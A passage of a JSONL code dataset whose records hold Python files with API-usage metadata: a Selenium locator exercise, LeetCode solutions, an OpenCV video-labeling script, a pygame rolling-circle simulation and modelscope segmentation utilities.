"line_number": 278, "usage_type": "name"}, {"api_name": "pygccxml.declarations.location_t", "line_number": 280, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 280, "usage_type": "name"}, {"api_name": "pygccxml.declarations.ACCESS_TYPES", "line_number": 319, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 319, "usage_type": "name"}, {"api_name": "pygccxml.declarations.array_t", "line_number": 389, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 389, "usage_type": "name"}, {"api_name": "pygccxml.declarations.array_t", "line_number": 395, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 395, "usage_type": "name"}, {"api_name": "pygccxml.declarations.volatile_t", "line_number": 399, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 399, "usage_type": "name"}, {"api_name": "pygccxml.declarations.const_t", "line_number": 400, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 400, "usage_type": "name"}, {"api_name": "pygccxml.declarations.const_t", "line_number": 402, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 402, "usage_type": "name"}, {"api_name": "pygccxml.declarations.volatile_t", "line_number": 404, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 404, "usage_type": "name"}, {"api_name": "pygccxml.declarations.restrict_t", "line_number": 406, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 406, "usage_type": "name"}, {"api_name": "pygccxml.declarations.pointer_t", "line_number": 411, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 411, "usage_type": "name"}, {"api_name": "pygccxml.declarations.reference_t", "line_number": 414, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 414, "usage_type": "name"}, {"api_name": "pygccxml.declarations.FUNDAMENTAL_TYPES", "line_number": 418, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 418, "usage_type": "name"}, {"api_name": "pygccxml.declarations.pointer_t", "line_number": 432, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 432, "usage_type": "name"}, {"api_name": "pygccxml.declarations.member_variable_type_t", "line_number": 433, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 433, "usage_type": "name"}, {"api_name": "pygccxml.declarations.member_variable_type_t", "line_number": 437, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 437, "usage_type": "name"}, {"api_name": "pygccxml.declarations.calldef_type_t", "line_number": 441, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 441, "usage_type": "name"}, {"api_name": "pygccxml.declarations.argument_t", "line_number": 444, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 444, "usage_type": "name"}, {"api_name": "pygccxml.declarations.calldef_type_t", "line_number": 459, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 459, "usage_type": "name"}, {"api_name": "pygccxml.declarations.argument_t", "line_number": 462, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 462, "usage_type": "name"}, {"api_name": "pygccxml.declarations.VIRTUALITY_TYPES", "line_number": 490, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 490, "usage_type": "name"}, {"api_name": "pygccxml.declarations.VIRTUALITY_TYPES", "line_number": 492, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 492, "usage_type": "name"}, {"api_name": "pygccxml.declarations.VIRTUALITY_TYPES", "line_number": 494, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 494, "usage_type": "name"}, {"api_name": "pygccxml.declarations.free_function_type_t", "line_number": 499, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 499, "usage_type": "name"}, {"api_name": "pygccxml.declarations.member_function_type_t", "line_number": 504, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 504, "usage_type": "name"}, {"api_name": "pygccxml.declarations.type_qualifiers_t", "line_number": 516, "usage_type": "call"}, {"api_name": "pygccxml.declarations", "line_number": 516, "usage_type": "name"}, {"api_name": "pygccxml.declarations.CLASS_TYPES", "line_number": 556, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 556, "usage_type": "name"}, {"api_name": "pygccxml.declarations.CLASS_TYPES", "line_number": 559, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 559, "usage_type": "name"}, {"api_name": "pygccxml.declarations.CLASS_TYPES", "line_number": 562, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 562, "usage_type": "name"}, {"api_name": "pygccxml.declarations.xml_generators", "line_number": 615, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 615, "usage_type": "name"}, {"api_name": "pygccxml.declarations.xml_generators", "line_number": 618, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 618, "usage_type": "name"}, {"api_name": "pygccxml.declarations.xml_generators", "line_number": 621, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 621, "usage_type": "name"}, {"api_name": "pygccxml.declarations.xml_generators", "line_number": 624, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 624, "usage_type": "name"}, {"api_name": "pygccxml.declarations.xml_generators", "line_number": 630, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 630, "usage_type": "name"}, {"api_name": "pygccxml.declarations.class_t", "line_number": 662, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 662, "usage_type": "name"}]} +{"seq_id": "44510564012", "text": "from selenium import webdriver\nfrom selenium.webdriver.firefox.firefox_binary import FirefoxBinary\n\nclass FindbyLinkText():\n def test(self):\n binary = FirefoxBinary('C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe')\n # C:\\\\Program Files (x86)\\\\Mozilla Firefox\\\\Firefox.exe\n baseURL = \"https://letskodeit.teachable.com/p/practice\"\n driver = webdriver.Firefox(firefox_binary= binary)\n driver.get(baseURL)\n elementbyLinkText = driver.find_element_by_link_text(\"Login\")\n if elementbyLinkText is not None:\n print (\"We found an element by Link Text\")\n\n elementbyPartialLinkText = driver.find_element_by_partial_link_text(\"Pract\")\n if elementbyPartialLinkText is not None:\n print (\"We found an element by Partial Link Text\")\n\n driver.get(\"\")\n driver.find_element_by_id(\"\")\n\n\nff = FindbyLinkText()\nff.test()", "repo_name": "Nikhilrao23/Selenium_Webdriver", "sub_path": "findingelements/FindbyLinkText.py", "file_name": "FindbyLinkText.py", "file_ext": "py", "file_size_in_byte": 906, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "selenium.webdriver.firefox.firefox_binary.FirefoxBinary", "line_number": 6, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 9, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 9, "usage_type": "name"}]} +{"seq_id": "44789793989", "text": "\"\"\"\n在本问题中, 树指的是一个连通且无环的无向图。\n\n输入一个图，该图由一个有着N个节点 (节点值不重复1, 2, ..., N) 的树及一条附加的边构成。附加的边的两个顶点包含在1到N中间，这条附加的边不属于树中已存在的边。\n\n结果图是一个以边组成的二维数组。每一个边的元素是一对[u, v] ，满足 u < v，表示连接顶点u 和v的无向图的边。\n\n返回一条可以删去的边，使得结果图是一个有着N个节点的树。如果有多个答案，则返回二维数组中最后出现的边。答案边 [u, v] 应满足相同的格式 u < v。\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/redundant-connection\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\nfrom typing import List\n\n# 2021.04.12 官方解法，并查集，是我看不懂的解法\nclass Solution:\n def findRedundantConnection(self, edges: List[List[int]]) -> List[int]:\n nodesCount = len(edges)\n parent = list(range(nodesCount + 1))\n\n def find(index: int) -> int:\n if parent[index] != index:\n parent[index] = find(parent[index])\n return parent[index]\n \n def union(index1: int, index2: int):\n parent[find(index1)] = find(index2)\n\n for node1, node2 in edges:\n if find(node1) != find(node2):\n union(node1, node2)\n else:\n return [node1, node2]\n \n return []\n\n# [[1,2], [2,3], [3,4], [1,4], [1,5]]\n# [0,1,2,3,4,5]\n# [0,2,2,3,4,5]", "repo_name": "ZhiyuSun/leetcode-practice", "sub_path": "501-800/684_冗余连接.py", "file_name": "684_冗余连接.py", "file_ext": "py", "file_size_in_byte": 1642, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 18, "usage_type": "name"}]} +{"seq_id": "20088282477", "text": "from typing import List\n\nclass Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n ans = []\n nums.sort()\n for i in range(len(nums) - 2):\n if nums[i] > 0:\n break\n if i == 0 or nums[i] != nums[i-1]:\n self.twoSum(nums, ans, i+1)\n \n return ans\n \n \n def twoSum(self, nums: List[int], ans: List[List[int]], i: int) -> None:\n target = -nums[i-1]\n seen = {} # third value: second value\n while i < len(nums):\n if nums[i] in seen:\n ans.append([-target, nums[i], seen[nums[i]]])\n while i < len(nums) - 1 and nums[i] == nums[i+1]:\n i +=1\n \n seen[target - nums[i]] = nums[i]\n i += 1\n \n \n \n \n \n \n \n\n\n\nif __name__ == '__main__':\n a = Solution()\n b = [1,2,3,4,5]\n c = 3\n print(a.threeSum(b,c))\n\n\n# Easy\n# Hashmap\n# Two Pointer (sort and low high)", "repo_name": "stevenzengg/Data-Structures-and-Algorithms", "sub_path": "Three Sum.py", "file_name": "Three Sum.py", "file_ext": "py", "file_size_in_byte": 1051, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 4, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 16, "usage_type": "name"}]} +{"seq_id": "14218872037", "text": "import numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nimport os\nimport cv2\n\nimport local_processing.analysis_util.analysis_util as au\nfrom skimage.draw import circle, line, bezier_curve\nimport skvideo\nskvideo.setFFmpegPath('C:/Program Files/ffmpeg/bin/')\nfrom local_processing.video_maker.video_processor import VideoProcessorSK as vp\nimport matplotlib.pyplot as plt\n\nbase_folder = 'Z:/Data/BarthAirPuff/'\ntask = 'air-puff'\ndate = 'Dec7'\nshuffle = 1\ntrain_fraction = 0.95\nsnapshot_index = 0\nvideo_name = '9 psi.MOV'\npcutoff = 0.3\ndotsize = 4\nresnet = 50\nsnapshot = 600000\n\n# for ts plotting\npick_bodypart = 'tip11'\ndef_color = [255, 0, 0]\n\n\ndef create_video(clip, data_frame):\n scorer = np.unique(data_frame.columns.get_level_values(0))[0]\n body_parts_to_plot = list(np.unique(data_frame.columns.get_level_values(1)))\n color_class = plt.cm.ScalarMappable(cmap='hsv')\n C = color_class.to_rgba(np.linspace(0, 1, len(body_parts_to_plot)))\n colors = (C[:, :3] * 255).astype(np.uint8)\n\n ny, nx, fps = clip.height(), clip.width(), clip.fps()\n n_frames = len(data_frame.index)\n\n video = cv2.VideoWriter(os.path.join(base_folder, video_name.split('.')[0] + '-labeled.avi'),\n cv2.VideoWriter_fourcc(*\"XVID\"), fps, (nx, ny))\n\n p_ind = []\n x_p = []\n for index in tqdm(range(n_frames)):\n image = clip.load_frame()\n xs = []\n ys = []\n for bp_index, bp in enumerate(body_parts_to_plot):\n if data_frame[scorer][bp]['likelihood'].values[index] > pcutoff:\n xc = int(data_frame[scorer][bp]['x'].values[index])\n xs.append(xc)\n yc = int(data_frame[scorer][bp]['y'].values[index])\n ys.append(yc)\n\n rr, cc = circle(yc, xc, dotsize, shape=(ny, nx))\n image[rr, cc, :] = colors[bp_index]\n\n p_ind.append(int((index / n_frames) * nx))\n x_p.append(ny - data_frame[scorer][pick_bodypart]['y'].values[index])\n for x, xp in enumerate(x_p):\n rr, cc = circle(int(xp) + 100, p_ind[x], 2, shape=(ny, nx))\n image[rr, cc, :] = def_color\n\n frame = image\n video.write(frame)\n # clip.save_frame(frame)\n\n cv2.destroyAllWindows()\n video.release()\n clip.close()\n\n\ndef make_labeled_video():\n scorer = 'deep-cut-resnet_' + str(resnet) + '-' + str(int(train_fraction * 100)) + 'shuffle' + \\\n str(int(shuffle)) + '-' + str(int(snapshot)) + '-for-task-' + task\n clip = vp(os.path.join(base_folder, video_name),\n os.path.join(base_folder, video_name.split('.')[0] + '-labeled.mp4'))\n data_file = scorer + video_name.split('.')[0] + '.h5'\n data_frame = pd.read_hdf(os.path.join(base_folder, data_file))\n create_video(clip, data_frame)\n\n\nif __name__ == '__main__':\n make_labeled_video()\n", "repo_name": "RoboDoig/dlc-cloudml", "sub_path": "local_processing/video_maker/make_labeled_video_cv.py", "file_name": "make_labeled_video_cv.py", "file_ext": "py", "file_size_in_byte": 2847, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "16", "api": [{"api_name": "skvideo.setFFmpegPath", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm.ScalarMappable", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 34, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 42, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 46, "usage_type": "call"}, {"api_name": "skimage.draw.circle", "line_number": 57, "usage_type": "call"}, {"api_name": "skimage.draw.circle", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 70, "usage_type": "call"}, {"api_name": "local_processing.video_maker.video_processor.VideoProcessorSK", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pandas.read_hdf", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}]} +{"seq_id": "9357208041", "text": "import pygame\nimport math\n\npygame.init()\npygame.display.set_caption('Rolling')\nsize = (700, 500)\nscreen = pygame.display.set_mode(size)\ndone = False\nclock = pygame.time.Clock()\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nGRAY = (125, 125, 125)\nLIGHTGRAY = (200, 200, 200)\nDARKGRAY = (75, 75, 75)\nGREEN = (0, 255, 0)\nRED = (255, 0, 0)\nYELLOW = (0, 255, 255)\nstat_ball_radius = 0\nfont = pygame.font.SysFont(\"comicsansms\", 24)\npoints = []\n\nstat_ball_radius = 120\n\nclass Button(object):\n def __init__(self, x1, y1, x2, y2, text):\n self.text = text\n self.p1 = (x1, y1)\n self.p2 = (x2, y2)\n self.color = GRAY\n self.padding_x = self.p1[0]+5\n self.padding_y = self.p1[1]\n self.shadow = (self.p1[0], self.p2[1]+self.p1[1]-2,\n self.p2[0]+self.p1[0], self.p2[1]+self.p1[1]-2)\n self.lhigh = (self.p1[0], self.p1[1], self.p1[0],\n self.p2[1]+self.p1[1]-2)\n self.rhigh = (self.p2[0]+self.p1[0], self.p1[1],\n self.p2[0]+self.p1[0], self.p2[1]+self.p1[1]-2)\n self.light = (self.p1[0], self.p1[1],\n self.p2[0]+self.p1[0], self.p1[1])\n self.run = 1\n\n def draw(self):\n pygame.draw.rect(screen, self.color,\n (self.p1[0], self.p1[1], self.p2[0], self.p2[1]))\n pygame.draw.line(\n screen, DARKGRAY, (self.shadow[0], self.shadow[1]), (self.shadow[2], self.shadow[3]), 3)\n pygame.draw.line(\n screen, LIGHTGRAY, (self.lhigh[0], self.lhigh[1]), (self.lhigh[2], self.lhigh[3]), 3)\n pygame.draw.line(\n screen, DARKGRAY, (self.rhigh[0], self.rhigh[1]), (self.rhigh[2], self.rhigh[3]), 3)\n pygame.draw.line(\n screen, WHITE, (self.light[0], self.light[1]), (self.light[2], self.light[3]), 3)\n img = font.render(self.text, True, RED)\n screen.blit(img, (self.padding_x, self.padding_y))\n\n def click(self):\n if(self.text == \"Start\"):\n self.text = \"Stop\"\n self.run = 1\n stat.radius=int(menu[1].value)\n dyn.radius=int(menu[2].value)\n global stat_ball_radius\n stat_ball_radius=int(menu[1].value)\n elif(self.text==\"Stop\"):\n self.text = \"Start\"\n self.run = 0\n else:\n global points\n points=[]\n\nclass InputBox(object):\n def __init__(self, x1, y1, x2, y2, text,value):\n self.text=text\n self.value = value\n self.p1 = (x1, y1)\n self.p2 = (x2, y2)\n self.color = WHITE\n self.padding_x = self.p1[0]+20\n self.padding_y = self.p1[1]\n self.padding_x2=self.p1[0]-100\n self.shadow = (self.p1[0], self.p2[1]+self.p1[1]-2,\n self.p2[0]+self.p1[0], self.p2[1]+self.p1[1]-2)\n self.lhigh = (self.p1[0], self.p1[1], self.p1[0],\n self.p2[1]+self.p1[1]-2)\n self.rhigh = (self.p2[0]+self.p1[0], self.p1[1],\n self.p2[0]+self.p1[0], self.p2[1]+self.p1[1]-2)\n self.light = (self.p1[0], self.p1[1],\n self.p2[0]+self.p1[0], self.p1[1])\n self.run = 1\n\n def draw(self):\n pygame.draw.rect(screen, self.color,\n (self.p1[0], self.p1[1], self.p2[0], self.p2[1]))\n pygame.draw.line(\n screen, WHITE, (self.shadow[0], self.shadow[1]), (self.shadow[2], self.shadow[3]), 3)\n pygame.draw.line(\n screen, DARKGRAY, (self.lhigh[0], self.lhigh[1]), (self.lhigh[2], self.lhigh[3]), 3)\n pygame.draw.line(\n screen, LIGHTGRAY, (self.rhigh[0], self.rhigh[1]), (self.rhigh[2], self.rhigh[3]), 3)\n pygame.draw.line(\n screen, DARKGRAY, (self.light[0], self.light[1]), (self.light[2], self.light[3]), 3)\n img = font.render(self.value, True, RED)\n screen.blit(img, (self.padding_x, self.padding_y))\n img = font.render(self.text, True, WHITE)\n screen.blit(img, (self.padding_x2, self.padding_y))\n\n def click(self):\n return self\n\n\nclass ball(object):\n def __init__(self, x, y, radius, color):\n self.x = x\n self.y = y\n self.radius = radius\n self.color = color\n self.roll = 0\n self.line = 2\n\n def draw(self):\n pygame.draw.circle(screen, self.color,\n (self.x, self.y), self.radius, self.line)\n\n def rolling(self, second):\n self.x = round((self.radius+second.radius-2)\n * math.cos(self.roll))+second.x\n self.y = round((self.radius+second.radius-2)\n * math.sin(self.roll))+second.y\n self.roll = self.roll+math.pi/180\n\n def radius_draw(self, second):\n pygame.draw.line(screen, GREEN, (self.x, self.y),\n (second.x, second.y), 3)\n\n def trace(self, second):\n self.x = round((self.radius+second.radius-4)\n * math.cos(self.roll))+second.x\n self.y = round((self.radius+second.radius-4)\n * math.sin(self.roll))+second.y\n self.roll = self.roll+(stat_ball_radius/second.radius+1)*math.pi/180\n return (self.x, self.y)\n\nstat = ball(round(size[0]/2), round(size[1]/2), stat_ball_radius, WHITE)\ndyn = ball(round(size[0]/2)-stat.radius*2, round(size[1]/2), 40, WHITE)\npointer = ball(round(size[0]/2)-stat.radius*2, round(size[1]/2), 3, RED)\nmenu = [Button(20, 20, 70, 35, \"Stop\"), InputBox(400, 20, 100, 35, \"Static\", str(stat_ball_radius)),InputBox(200, 20, 100, 35, \"Dynamic\",str(40)), Button(20, 70, 150, 35, \"Reset Trace\")]\nactive_value = menu[1]\nmenu[1].padding_x2=menu[1].padding_x2+25\n\nwhile not done:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n elif event.type == pygame.MOUSEBUTTONDOWN:\n pos = pygame.mouse.get_pos()\n for i in menu:\n if(pos[0] > i.p1[0] and pos[0] < (i.p2[0]+i.p1[0]) and pos[1] > i.p1[1] and pos[1] < (i.p2[1]+i.p1[1])):\n if(isinstance(i,InputBox)):\n active_value=i.click()\n else:\n i.click()\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_0:\n active_value.value = str(int(active_value.value)*10)\n elif event.key == pygame.K_1:\n active_value.value = str(int(active_value.value)*10+1)\n elif event.key == pygame.K_2:\n active_value.value = str(int(active_value.value)*10+2)\n elif event.key == pygame.K_3:\n active_value.value = str(int(active_value.value)*10+3)\n elif event.key == pygame.K_4:\n active_value.value = str(int(active_value.value)*10+4)\n elif event.key == pygame.K_5:\n active_value.value = str(int(active_value.value)*10+5)\n elif event.key == pygame.K_6:\n active_value.value = str(int(active_value.value)*10+6)\n elif event.key == pygame.K_7:\n active_value.value = str(int(active_value.value)*10+7)\n elif event.key == pygame.K_8:\n active_value.value = str(int(active_value.value)*10+8)\n elif event.key == pygame.K_9:\n active_value.value = str(int(active_value.value)*10+9)\n elif event.key == pygame.K_DELETE:\n active_value.value = str(0)\n\n screen.fill(BLACK)\n\n if(menu[0].run):\n dyn.rolling(stat)\n points.append(pointer.trace(dyn))\n stat.draw()\n dyn.draw()\n pointer.draw()\n pointer.radius_draw(dyn)\n for i in menu:\n i.draw()\n for i in points:\n pygame.draw.line(screen, YELLOW, i, i)\n pygame.display.flip()\n clock.tick(70)\n\npygame.quit()\n", "repo_name": "richi404/Rolling-Simulation", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7801, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.init", "line_number": 4, "usage_type": "call"}, {"api_name": "pygame.display.set_caption", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 92, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 96, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 98, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 100, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 121, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 121, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 126, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 128, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 129, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 132, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 132, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 137, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 139, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 140, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 151, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 151, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 152, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 154, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 155, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 155, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 162, "usage_type": "attribute"}, {"api_name": "pygame.K_0", "line_number": 163, "usage_type": "attribute"}, {"api_name": "pygame.K_1", "line_number": 165, "usage_type": "attribute"}, {"api_name": "pygame.K_2", "line_number": 167, "usage_type": "attribute"}, {"api_name": "pygame.K_3", "line_number": 169, "usage_type": "attribute"}, {"api_name": "pygame.K_4", "line_number": 171, "usage_type": "attribute"}, {"api_name": "pygame.K_5", "line_number": 173, "usage_type": "attribute"}, {"api_name": "pygame.K_6", "line_number": 175, "usage_type": "attribute"}, {"api_name": "pygame.K_7", "line_number": 177, "usage_type": "attribute"}, {"api_name": "pygame.K_8", "line_number": 179, "usage_type": "attribute"}, {"api_name": "pygame.K_9", "line_number": 181, "usage_type": "attribute"}, {"api_name": "pygame.K_DELETE", "line_number": 183, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 198, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 198, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 199, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 199, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 202, "usage_type": "call"}]} +{"seq_id": "22860903138", "text": "# The implementation is adopted from Video-K-Net,\n# made publicly available at https://github.com/lxtGH/Video-K-Net follow the MIT license\nimport numpy as np\nimport torch\nfrom mmdet.core import bbox2result\n\n\ndef sem2ins_masks(gt_sem_seg, num_thing_classes=80):\n \"\"\"Convert semantic segmentation mask to binary masks\n\n Args:\n gt_sem_seg (torch.Tensor): Semantic masks to be converted.\n [0, num_thing_classes-1] is the classes of things,\n [num_thing_classes:] is the classes of stuff.\n num_thing_classes (int, optional): Number of thing classes.\n Defaults to 80.\n\n Returns:\n tuple[torch.Tensor]: (mask_labels, bin_masks).\n Mask labels and binary masks of stuff classes.\n \"\"\"\n # gt_sem_seg is zero-started, where zero indicates the first class\n # since mmdet>=2.17.0, see more discussion in\n # https://mmdetection.readthedocs.io/en/latest/conventions.html#coco-panoptic-dataset # noqa\n classes = torch.unique(gt_sem_seg)\n # classes ranges from 0 - N-1, where the class IDs in\n # [0, num_thing_classes - 1] are IDs of thing classes\n masks = []\n labels = []\n\n for i in classes:\n # skip ignore class 255 and \"thing classes\" in semantic seg\n if i == 255 or i < num_thing_classes:\n continue\n labels.append(i)\n masks.append(gt_sem_seg == i)\n\n if len(labels) > 0:\n labels = torch.stack(labels)\n masks = torch.cat(masks)\n else:\n labels = gt_sem_seg.new_zeros(size=[0])\n masks = gt_sem_seg.new_zeros(\n size=[0, gt_sem_seg.shape[-2], gt_sem_seg.shape[-1]])\n return labels.long(), masks.float()\n\n\ndef outs2results(bboxes=None,\n labels=None,\n masks=None,\n ids=None,\n num_classes=None,\n **kwargs):\n \"\"\"Convert tracking/detection results to a list of numpy arrays.\n Args:\n bboxes (torch.Tensor | np.ndarray): shape (n, 5)\n labels (torch.Tensor | np.ndarray): shape (n, )\n masks (torch.Tensor | np.ndarray): shape (n, h, w)\n ids (torch.Tensor | np.ndarray): shape (n, )\n num_classes (int): class number, not including background class\n Returns:\n dict[str : list(ndarray) | list[list[np.ndarray]]]: tracking/detection\n results of each class. It may contain keys as belows:\n - bbox_results (list[np.ndarray]): Each list denotes bboxes of one\n category.\n - mask_results (list[list[np.ndarray]]): Each outer list denotes masks\n of one category. Each inner list denotes one mask belonging to\n the category. Each mask has shape (h, w).\n \"\"\"\n assert labels is not None\n assert num_classes is not None\n\n results = dict()\n\n if ids is not None:\n valid_inds = ids > -1\n ids = ids[valid_inds]\n labels = labels[valid_inds]\n\n if bboxes is not None:\n if ids is not None:\n bboxes = bboxes[valid_inds]\n if bboxes.shape[0] == 0:\n bbox_results = [\n np.zeros((0, 6), dtype=np.float32)\n for i in range(num_classes)\n ]\n else:\n if isinstance(bboxes, torch.Tensor):\n bboxes = bboxes.cpu().numpy()\n labels = labels.cpu().numpy()\n ids = ids.cpu().numpy()\n bbox_results = [\n np.concatenate(\n (ids[labels == i, None], bboxes[labels == i, :]),\n axis=1) for i in range(num_classes)\n ]\n else:\n bbox_results = bbox2result(bboxes, labels, num_classes)\n results['bbox_results'] = bbox_results\n\n if masks is not None:\n if ids is not None:\n masks = masks[valid_inds]\n if isinstance(masks, torch.Tensor):\n masks = masks.detach().cpu().numpy()\n masks_results = [[] for _ in range(num_classes)]\n for i in range(bboxes.shape[0]):\n masks_results[labels[i]].append(masks[i])\n results['mask_results'] = masks_results\n\n return results\n", "repo_name": "modelscope/modelscope", "sub_path": "modelscope/models/cv/video_instance_segmentation/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4163, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4825, "dataset": "github-code", "pt": "16", "api": 